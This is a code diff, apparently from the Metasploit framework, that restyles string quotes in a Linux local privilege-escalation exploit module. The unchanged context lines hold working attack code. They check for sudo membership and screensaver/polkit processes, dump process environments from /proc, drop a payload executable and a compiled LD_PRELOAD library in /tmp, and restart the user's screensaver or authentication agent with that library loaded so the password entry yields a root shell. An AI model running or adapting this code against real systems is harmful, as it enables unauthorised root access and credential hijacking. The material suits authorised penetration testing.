Use single quotes when possible

Author: jvazquez-r7

modules/exploits/linux/local/desktop_privilege_escalation.rb

@@ -56,19 +56,20 @@ def initialize(info={})
     ))
 
     register_options([
-      OptString.new("WritableDir", [ true, "A directory for storing temporary files on the target system", "/tmp" ]),
+      OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp']),
     ], self.class)
   end
 
   def check
     output = cmd_exec("if which perl && which sudo && id|grep -E 'sudo|adm' && pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;then echo OK;fi").gsub("\r","")
     vprint_status(output)
-    if output["OK"] == "OK"
+    if output['OK'] == 'OK'
       return Exploit::CheckCode::Vulnerable
     else
       return Exploit::CheckCode::Safe
     end
   end
+
   def get_restart_commands
     text_output = cmd_exec('pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";$/=undef;for("cmdline","environ"){open F,"</proc/$pid/$_";print "$_:".unpack("H*",<F>),"\n";}}\'').gsub("\r","")
     vprint_status(text_output)
@@ -96,7 +97,7 @@ def get_restart_commands
   end
 
   def exploit
-    exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"
+    exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf"
     print_status("Writing payload executable to '#{exe_file}'")
     write_file(exe_file, generate_payload_exe())
     cmd_exec "chmod +x #{exe_file}"
@@ -180,13 +181,13 @@ def exploit
     lib_data = Metasm::ELF.compile_c(cpu, c).encode_string(:lib)
     print_status("Writing lib file to '#{lib_file}'")
     write_file(lib_file,lib_data)
-    print_status("Restarting processes (screensaver/policykit)")
+    print_status('Restarting processes (screensaver/policykit)')
     process_restart_commands = get_restart_commands()
     process_restart_commands.each do |cmd|
-      cmd["LD_PRELOAD_PLACEHOLDER"] = lib_file
+      cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file
       cmd_exec(cmd)
     end
-    print_status("The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep the handler running.")
+    print_status('The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep the handler running.')
   end
 end